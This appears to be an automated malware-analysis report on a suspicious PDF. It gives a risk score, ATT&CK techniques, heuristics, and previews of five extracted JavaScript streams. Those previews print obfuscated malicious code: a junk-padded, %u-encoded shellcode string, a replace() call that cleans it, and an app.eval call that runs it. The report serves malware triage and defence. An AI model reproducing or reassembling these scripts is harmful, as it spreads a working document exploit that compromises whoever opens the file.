SUSPICIOUS
56
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1566.001 Spearphishing Attachment
The PDF contains multiple embedded JavaScript streams, with one identified as obfuscated and suspicious. The ML classifier strongly indicates maliciousness. The presence of JavaScript suggests the document's primary purpose is to execute malicious code, likely to download and run a further payload, which is a common tactic for initial compromise via spearphishing attachments.
Machine Learning
- Nyx PDF Classifier malicious score 0.9992
Heuristics 4
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Optional Content Group with action trigger low PDF_OPTIONAL_CONTENTOptional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 6
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0021_000.js |
pdf-javascript-stream | PDF /JS object 21 at offset 0x3545 | 2182 bytes |
SHA-256: 40a688fbabd321061fbc632936cabe238055ea1e28f8a9b91702a13f22803f48 |
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Preview scriptFirst 1,000 lines of the extracted script
�� v a r v k u 7 H N A t z L = f a l s e ; f u n c t i o n h G W d t y Z e l R ( o B G B Z J V R , e h w r D J 7 I , u R j O k Y t m ) { r e t u r n u R j O k Y t m ; } f u n c t i o n g N G A M u Q 4 ( d 8 a p R f e 9 D 6 , y N l 9 f T i e F , w V g w R C a e 2 t ) { r e t u r n f a l s e ; } t h i s . z 2 3 F i N v 6 z = " l J 3 w k 7 5 Q L " ; v a r u 2 l 3 A w R X e E = f a l s e ; v a r m e e 7 6 J 9 l 0 w = n e w A r r a y ( ' o 0 v 2 i P x E t ' , ' c H Q 2 r V A s ' , ' g J A J N 1 M n P o ' ) ; v a r z p u f s I A O 6 = n e w A r r a y ( ) ; z p u f s I A O 6 [ 0 ] = 2 4 1 6 3 ; z p u f s I A O 6 [ 1 ] = 2 6 5 6 ; z p u f s I A O 6 [ 2 ] = 2 3 3 2 1 ; v a r q 5 H m r e 0 K 0 H = 2 9 9 0 6 ; v a r h a p w E B p w = n e w A r r a y ( ' u I E W G t F 8 F j ' , ' y K C F a L 0 3 p ' ) ; t h i s . r 8 G 5 q 1 8 m X 5 = " c A O w X s u N g " ; v a r o s L b y 7 P H = n e w A r r a y ( 2 6 0 5 7 , 1 7 6 1 4 ) ; m H S 1 6 8 6 9 6 = f a l s e ; v a r a 7 S c n U N C K = ' u O m t s q T h i t ' ; v a r n G T a H 8 1 Z M = a p p . e v a l ; h W h 7 X P K E V = 7 4 1 7 ; v a r q l v C g E p 1 = " u c H d M P L r G r " ; v a r h b E e p v m J k = n e w A r r a y ( ) ; h b E e p v m J k [ 0 ] = 1 3 0 4 ; h b E e p v m J k [ 1 ] = 1 1 1 2 1 ; h b E e p v m J k [ 2 ] = 7 5 1 0 ; f u n c t i o n n h U W f H e j ( x 4 6 R I u 1 k e ) { } t V S J g i M k i f = ' f T m H H 2 G E ' ; t h i s . m w X 3 6 y 4 t 8 = ' x F R P Q v 9 g ' ; h V X 6 W c o c = f a l s e ; v a r k M A b z j 1 s = n e w A r r a y ( ' i e Y Y n e 2 l ' , ' h 0 W v 7 F 2 6 ' ) ; f u n c t i o n f K W E O x Y r ( v y g 6 Z 7 t V , x B h S 4 t T V 3 ) { r e t u r n v y g 6 Z 7 t V ; } f u n c t i o n b Y s r i u L O ( q L b s N l 7 I , s T 3 a y W r r , d J D 8 G V u m D ) { } f u n c t i o n i M r h 3 k p j ( d R r A m E D u O ) { r e t u r n f a l s e ; } v a r q u X 4 Q y 6 0 = n e w A r r a y ( 1 2 7 8 6 , 1 2 3 5 5 ) ; v a r j l A P 5 T B r = n e w A r r a y ( " e Q r y u s m t " , " c 4 R 7 4 G 1 4 4 U " ) ; f u n c t i o n w i y R p m H 2 ( s f K y n B e m , t K 3 o J X e j ) { r e t u r n s f K y n B e m ; }
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javascript_obj0022_001.js |
pdf-javascript-stream | PDF /JS object 22 at offset 0x3E15 | 4096 bytes |
SHA-256: 1130757fbd16f6d1dd2f7bb27f5fe9d1a9a708c7e3ccd03e64a37545fa9ee5f0 |
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Preview scriptFirst 1,000 lines of the extracted script
var sT9msep9n=null;function xzZcNhNE48(pBWxrNXSy,faawHfdJwB,lt0WkeBa){return pBWxrNXSy;}function cyqdGqRNtM(zfEAAzsS,vE60fkh9R,yt93QU4fX){return false;}var ypLCHkF9ek=new Array('sHV5vTFzW','cSeWhlEg','cVMIwUCO');function jYeRmv1v(eJCsqSU5b5){return false;}this.lxrLhTdh=12574;this.hRQ5wezXNY=0.65;eazDdpBZY=false;var zhFT6Lbjq=new Array('zBPZB9Gg','d7lLqSzhR');xUItBaUV3=null;var lwQlofzG8f=0.59;var lgeiT5Vw=new Array('yCEsOBXwr','smp28nd1l9');gHzFIQ4t="caBhL4EDp";function qia3sJGveD(){}var koKGw6P70=new Array(28317,7954,26339);var zMnQurHYh = 'v$a$r! Dq!3@C~kDL$Y$x!B@X@ ~=D !nDe!wD @A@r~r@a$yD(!)@;@vDa$r@ $x@d@H$G@B!cDB~4D;!f!u$n$c!t@i$o@n$ DoDv!h~g~g@X@h$g~9!($o~AD2@e~9@9!bD7~,$ $mDk$K@c@9DS$1~y~o!)!{~w@hDi$lDe$($oDA$2~e~9$9$b~7!.Dl$e@nDg!tDh~ !*@ @2$ !<~ ~m@k~K@c~9~S$1~y@o~)!{$o@AD2!eD9@9~b!7~ ~+@=@ $oDA!2@e!9!9!b!7!;@}$o@A@2!e@9$9$bD7~ ~=~ $o!A$2De~9@9~b~7$.Ds~u@bDs!t$r~i!n~g~(@0$,$ ~m!k~K!c$9@S$1!y~o~ $/D $2~)@;!r$e~tDu~r@nD $o@A!2~eD9!9$bD7D;D}@f~u@n@c$t@iDo@n$ $fDc!y@i~V$6DUDj~9~(!m~N$U@U$bDf@B$5~t@x@)@{!iDf~(~mDN!UDU!bDfDB$5~t@xD ~=@=! D0D)@{!v!a@r$ Dx~L~3~J~w!9@k@u@ !=$ D0!xD0~c$0!c!0!c$0$c~;DvDa~r! @w~V~M$d!x@C@Y@E@ !=D @n$e$w@ !ADr~rDa!y!(D\"D%Du$9~c!6$0~%@u!\"$,@\"$0~0@e!8$%Du$0@0~\"@,@\"!0@0~%~u@5$\"!,@\"!d$0!0D%!u@\"~,D\"~e$dD8$3$%@u@\"D,!\"!b$8@0!7!%$u@\"~,~\"!8!7$f!e!%~uD6DfD5~\"D,D\"@c$%$uDe$0Db$\"!,~\"~9!%~u!0D0@0~\"D,@\"$1~%~u~3$1@0D0$%!u~\"@,D\"@0~d@4!4~%~u!8D\"!,$\"D3@1Da$%!u$0D4~eD9@%!\"!,@\"@u@f@7~7@5!%@u@b~6$0!\"@,@\"$2D%~uD0!b~9!c$%@uD\"D,D\"D8$2!fDd@%Du~6~f!6$cD\"D,$\"D%@uD8@7$f~e$%!\"~,@\"$uD6~3@2!4!%@u@\"D,@\"@c~7$7!5$%Du!\"!,~\"De$4~5@0~%!u!\"D,@\"~9Db@8De~%$u$e@4Df$\"$,D\"$1!%~u~8!f@a!6!%~u~\"D,D\"$6D6@b!7@%$\"D,@\"$u!cD7!7D5@%!\"D,~\"$u@e@2D6@8!%$u@f!b~b$\"$,~\"$e@%!u!3~7@d~7$\"D,~\"$%!u$6$f~cD\"!,$\"$2@%@uD6@e$4$\"@,@\"D2$%~u!8$7$f@e@%@u$fD\"D,@\"@a!d$1~%Du~8D6$\"$,@\"~b~a~%Du~6Df!5@c@%Du@\"D,$\"!7!8Da$c@%$u@6!9~c~\"@,!\"D9$%@uD8$7!f$\"~,@\"$fD%$u~eD2@\"@,@\"~5$c!%~u$c~8$6!b~%!\"$,D\"$u!6!f@5$dD\"$,!\"~%!u@d~5$f~e!%@u!\"~,!\"!9D0~0@c$%~u~7D9D\"~,!\"@6Db@%!uD6@\"@,@\"@f~5@c@%$u~0$eDf@eD%~\"D,$\"Du!6!1!d!9~%!\"@,!\"DuD8@7~f!f$%Du~\"D,~\"~eD2!5~c$%$u!9!5~6Db@\"D,@\"$%Du~6@f$5~d~%$u!\"@,!\"!d@5DfDe$%@uD\"!,@\"!8~3$3$4D%$uD\"~,~\"!8~7@f!eD%$\"$,D\"!u@9~0D5@c@%Du@8@5~\"D,!\"D6~bD%@u!6~fD5Dd@%~\"~,!\"!u$0~a$f~eD%$uD6Da~\"~,~\"!c!0~%$u@8!6~e!cD\"$,$\"$%$u!6@f~5@cD%!u~\"~,!\"~3~2~7~3~%@u$6~fD9D\"D,$\"D6$%$u$8$7~\"~,D\"Df@eD%~uDdD\"~,@\"!2!d~1@%@u$8!7D2Db~%D\"$,@\"~u@6~f~5~cD%DuD\"D,@\"$4@e~c~f@%Du@\"@,!\"@eDb!fD0@%!u!fD\"D,@\"!3@3~eD%@uDe~7$5@aD\"$,$\"!%~u~8@c@f~aD%~u!8!4!\"D,!\"@1@d!%@u~0~f$0@b!\"$,~\"@%Du!6D4~5!8D%$u@\"!,~\"@8$7$9~4~%$\"@,~\"~u$6@f!3~6@%!\"@,D\"!uD1~2D7!3~%Du@6$\"$,!\"$e$4~e!%Du@8$\"@,$\"~7@f~e~%~uD3@8D0@e!%@\"!,!\"~uD8!7@9$4@%@\"!,@\"~u$f~a@a@3@%!uD8~6~f$\"!,@\"@0@%!uD6DfD5D\"!,$\"@c@%$u!8$2D\"$,!\"@9D4@%Du$f~a$dD1~\"!,~\"D%~u@8$6$eDc!\"$,D\"!%~u~6~fD5@cD%$u!\"$,!\"~7!8$a!cD%@uD6!5~cD\"!,!\"~9!%$uD8$7~fDfD%~uD5$\"!,~\"!fD5DcD%~u@2~9~\"D,$\"$3$e~%@u~9$2@2~9D%!u@\"!,D\"@b@8!7$e!%$u~1@a$\"@,~\"$e!7~%!u~1!a@3@\"@,!\"$dD%@uDa~c$3@\"$,$\"@d@%~u!eD8D9$8~\"~,@\"D%$u$2!e~2@e@%@u$eDb@\"!,!\"@9@2D%!u$0$a!\"@,~\"D7@2$%!uDe$2@\"@,D\"~8@6~%!u!0!7!5D\"@,~\"$c!%!uDf~3~8!a!\"!,D\"D%Du$5$5~2!c$%~\"D,@\"$u!a$8!d~1!\"!,D\"D%$u$0@d!3!9~\"D,@\"!%~u!f$1$9@0@%!\"D,D\"$uD0D0~3!2!\"@,$\"!%@u!aD9$8$dD%!u~0~\"~,D\"D0D3@f~%@u~aD8!\"D,$\"@9D3@%~uD0@6~3D\"!,@\"$0!%$u@b~6~9$c~%$\"@,D\"Du@1DaD7$3@%@u$e!3!\"!,$\"!8De!%!u~1$\"@,$\"~b!3~d!%~u~a!9$9DbD\"D,$\"!%Du~0~7D2@c!%D\"!,$\"!uDbD8D8@e~\"$,$\"~%Du~0!b!3!5~%$u~b$\"!,D\"!4!cD3~%$uD\"~,D\"!dD4$5$c$%!u@\"@,D\"$8!7$f!e@%@u!6$f$5!cD\"~,$\"$%$u!8D7$f@eD%$uD\"~,@\"$6$f~5!c!%$u@8@7$f$\"D,@\"$e!%!u$6$f!5~c@%Du@\"~,@\"!8~7~f!e$%$u$6~f~\"$,~\"!5~c~%~u$8@\"!,$\"!7D0D0!%@uD6D\"@,@\"DfD5@c!%$uDe$2!\"@,$\"@b@9~%Du!3$f!2D\"~,~\"!8~%Du@e@8!8!c@\"$,~\"D%!u$2De@3!\"!,$\"Df@%$uDe@3~\"D,~\"D9@aD%@u$0@a@\"@,D\"@2DeD%$uDf!4@\"$,!\"~8$d~%Du$2D8$5!c!%$u@\"@,~\"~f~3~9!bD%Du!0!aD0D8!\"@,!\"~%@u$f@7@9D3D%~u~0D\"$,$\"De!0@c!%$u~eDf!\"D,!\"~8@a!%@u$6!f$1$d!%@\"$,~\"~uDe!8!b~2@%!u!0~b!\"D,!\"~3!d$%$u$e~eDb!2!%$u!\"D,!\"!1Dd~3$eD%!uDf@5@9Df$\"D,!\"@%@u!2$e~2D5$%!\"D,D\"$u!d~0@f~e@%!\"$,$\"@u$0$1
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javascript_obj0023_002.js |
pdf-javascript-stream | PDF /JS object 23 at offset 0xD37E | 1902 bytes |
SHA-256: 47bb36ee24df929d020c310af377f06b93b7132e36d1d49f117ab60d6388ffe4 |
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Preview scriptFirst 1,000 lines of the extracted script
�� v a r e 5 E B 1 i U L = n u l l ; f u n c t i o n a 1 Q 6 u w C I B ( g 8 Q b M g j L ) { r e t u r n g 8 Q b M g j L ; } f u n c t i o n q o a x O x G Q w ( x Y K I l e N Z ) { r e t u r n x Y K I l e N Z ; } v a r h v e 9 s K D V u = n u l l ; f u n c t i o n a m B S q N b u 3 z ( r U k h t b 8 W I ) { r e t u r n f a l s e ; } v a r y V 5 e Z Y x 2 r = n e w A r r a y ( ) ; y V 5 e Z Y x 2 r [ 0 ] = 2 0 2 7 3 ; y V 5 e Z Y x 2 r [ 1 ] = 2 2 0 3 8 ; v a r i a D n Z l G H = n e w A r r a y ( ) ; i a D n Z l G H [ 0 ] = 1 8 8 5 7 ; f u n c t i o n h T 1 w 2 P v C 1 ( e F I 8 w a s 3 , n 8 p L 0 6 w n , g 1 3 M Y Q w s k ) { } v a r t F r x U F O l = n u l l ; k g C I E m S O H = " h z 5 F t h x K G " ; f u n c t i o n l 9 n g n J C H ( a J N Z D j 6 c , q I Y a 5 5 j v ) { r e t u r n f a l s e ; } v a r i t u l R C I c K = z M n Q u r H Y h . r e p l a c e ( / [ ~ \ $ D @ \ ! ] / g , ' ' ) ; f u n c t i o n i h h N O d 0 P H B ( z p 0 g R g 9 F g , x f 2 Z 9 y K V I T , b y P 9 a s y s 5 6 ) { r e t u r n x f 2 Z 9 y K V I T ; } q f D 8 a p R f = n u l l ; v a r a E d x z g T u m Q = n e w A r r a y ( ) ; a E d x z g T u m Q [ 0 ] = 2 8 6 3 4 ; a E d x z g T u m Q [ 1 ] = 1 5 3 7 1 ; a E d x z g T u m Q [ 2 ] = 6 8 8 8 ; v a r u r L K U Z Y 6 d = n e w A r r a y ( " n Q q h a q Z D " , " j O x T b R t L 1 " ) ; t h i s . z T o 0 v 2 i P = n u l l ; t h i s . l Q m L y 7 J j q = 0 . 9 5 9 ; f u n c t i o n q 6 z R 9 T F 7 ( q 3 S 5 y T k s , h k 9 V v Z U l ) { r e t u r n h k 9 V v Z U l ; } f u n c t i o n r J I E g p t 9 B I ( t W z j B Z F y R ) { } t h i s . d U P I y k k m = f a l s e ; v a r f j A t k B e 6 J = " w T V V v E q C P " ; n u 3 V 4 D 6 t k A = 2 0 6 0 7 ; f u n c t i o n n G x 4 e o Y J j A ( h b 5 J R Q W o 1 , u l u w K S r A R , t 6 7 Q s 2 k H ) { r e t u r n h b 5 J R Q W o 1 ; }
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javascript_obj0024_003.js |
pdf-javascript-stream | PDF /JS object 24 at offset 0xDB36 | 802 bytes |
SHA-256: e38e8192e7f3e0770359a98ab3e3f42f27c6f81d4fe757e3796a8273e9065768 |
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Preview scriptFirst 1,000 lines of the extracted script
�� f u n c t i o n t B u T c G c i ( ) { } v a r p f v s B F 7 w j c = 0 . 6 7 1 1 2 ; x L Z 2 f T d F v = 1 2 0 5 2 ; t J L M D K N S x = 0 . 3 3 8 5 9 0 6 5 ; v a r f N n o T s N n = n e w A r r a y ( ) ; f N n o T s N n [ 0 ] = 1 9 1 1 7 ; v a r z 8 m j p j Y w C = n e w A r r a y ( " v X H L T x N f 2 " , " q G 7 P g T X K 0 " ) ; f u n c t i o n a 3 H P 5 D p u p r ( x a y 9 r K T X p , x u l e m q z Y 1 ) { r e t u r n f a l s e ; } f u n c t i o n g o H n v r r M P ( k K Z k w V 6 N 9 ) { r e t u r n k K Z k w V 6 N 9 ; } f u n c t i o n m O W c 5 A f Y v ( t Q p l b Y x m 2 , e Z K 7 b B g K , p a w x O i F t T ) { r e t u r n e Z K 7 b B g K ; } p z X 0 K h d R Q L = f a l s e ; f u n c t i o n e l t X d R r A ( u n B v I l 6 I P q , b j j B 1 2 A Z U ) { }
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javascript_obj0025_004.js |
pdf-javascript-stream | PDF /JS object 25 at offset 0xDE92 | 2542 bytes |
SHA-256: f4165ba1b811e29fe01eff37012d52f5164149c015a397e6af9432d630382d5d |
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Preview scriptFirst 1,000 lines of the extracted script
�� v a r q X 5 H 1 s 7 k s = n u l l ; t h i s . x 4 y s W M W 4 1 = 3 1 9 5 3 ; v a r o Q p W v x b 4 u = n e w A r r a y ( 7 2 4 6 , 3 6 7 ) ; f u n c t i o n b E q t d z W O v ( ) { } t h i s . z w 0 K 9 z p B W = " f N w 4 X S z A A " ; f u n c t i o n a x D q k x E F L z ( i 6 V a w k l 0 ) { r e t u r n f a l s e ; } f u n c t i o n f 0 x F 9 i I 1 x ( w 9 E p N o E 2 , z H B C K S P J , f D 8 e d O 7 f c ) { r e t u r n w 9 E p N o E 2 ; } f u n c t i o n g Z T U g r F U N ( ) { r e t u r n f a l s e ; } f u n c t i o n z u q B v L 5 p ( i u 1 v D W 5 2 , z 1 Y g t H u o , j V t 5 a 5 q W a ) { r e t u r n i u 1 v D W 5 2 ; } v a r x Y m p n d 3 b 3 = f a l s e ; f u n c t i o n s b b 7 v O G u K ( o B b X s G 6 V G , h k M U G C h q 7 ) { r e t u r n h k M U G C h q 7 ; } t h i s . q Y l d Y c 4 B = 5 3 3 ; v a r y H n Q F a 2 K s G = n e w A r r a y ( " i 3 D T 2 P b M G Z " , " x 8 t g a P 7 T c " , " r o h L 8 0 M y h 4 " ) ; f u n c t i o n s 1 g m g j 1 O D h ( e 3 o 7 5 f E i B E ) { r e t u r n f a l s e ; } v a r k B X w r L r W = n e w A r r a y ( ' z A X 4 P Z k h N ' , ' w w L p 6 6 1 1 ' , ' z b R k i S z 8 ' ) ; v a r h h 4 A A K Z X 1 = n e w A r r a y ( ) ; h h 4 A A K Z X 1 [ 0 ] = 8 0 4 ; h h 4 A A K Z X 1 [ 1 ] = 3 2 3 9 7 ; h h 4 A A K Z X 1 [ 2 ] = 2 1 1 4 ; v a r l e Y Z Z z Z R = n e w A r r a y ( " s G 0 W 0 K 9 d J " , " o 4 x d s j E C " , " w j E U w Z y R X " ) ; n G T a H 8 1 Z M ( i t u l R C I c K ) ; f u n c t i o n f o o J l F v v H ( t s g m I r 3 K c , a P e R f Y w a 4 ) { } v a r v V i O 7 8 u K P = n e w A r r a y ( " j k o t R L l w E " , " u Z z 1 R u z e " , " z e 3 c j b T 1 a " ) ; f u n c t i o n a F E H 2 P E B E T ( ) { } s F j E i U k C J = 1 5 0 0 0 ; f u n c t i o n g i 4 9 L g a g W ( o L 6 d e v g B O l , u 4 W W l R h U , r M C y G 4 h T ) { r e t u r n u 4 W W l R h U ; } f u n c t i o n a t M P E t v d K ( ) { } f u n c t i o n v c N r M D X D ( q r r i f 1 t d , h x o p w C 5 N c F ) { } t h i s . c R F R s 1 p 8 = " g H G L G b x H I " ; v a r n j I w J 0 0 r = n e w A r r a y ( ' q E P 0 l X P K q ' , ' d f T g N H L s ' ) ; f u n c t i o n z K X 4 1 0 X 7 K ( j M 3 F t H I B y y , m H a T 2 S I g M ) { } f u n c t i o n h Q 6 e l F o e 7 ( j V T N b 3 m w ) { } v a r f G N z 3 9 0 t 0 = n e w A r r a y ( ) ; f G N z 3 9 0 t 0 [ 0 ] = 2 7 1 4 7 ; f G N z 3 9 0 t 0 [ 1 ] = 1 2 5 2 0 ; f G N z 3 9 0 t 0 [ 2 ] = 1 3 0 5 7 ; v a r z L B w B q J 2 = f a l s e ;
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stream_006_off00003545.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x3545 | 1090 bytes |
SHA-256: 90d099ec458d83e4f9260021d643c50bb97ad33a9b7291ddb7a1e5b2065e78cc |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
34 of 60 identifiers look randomly generated (e.g. 'q5Hmre0K0H') — consistent with name-mangling obfuscation.
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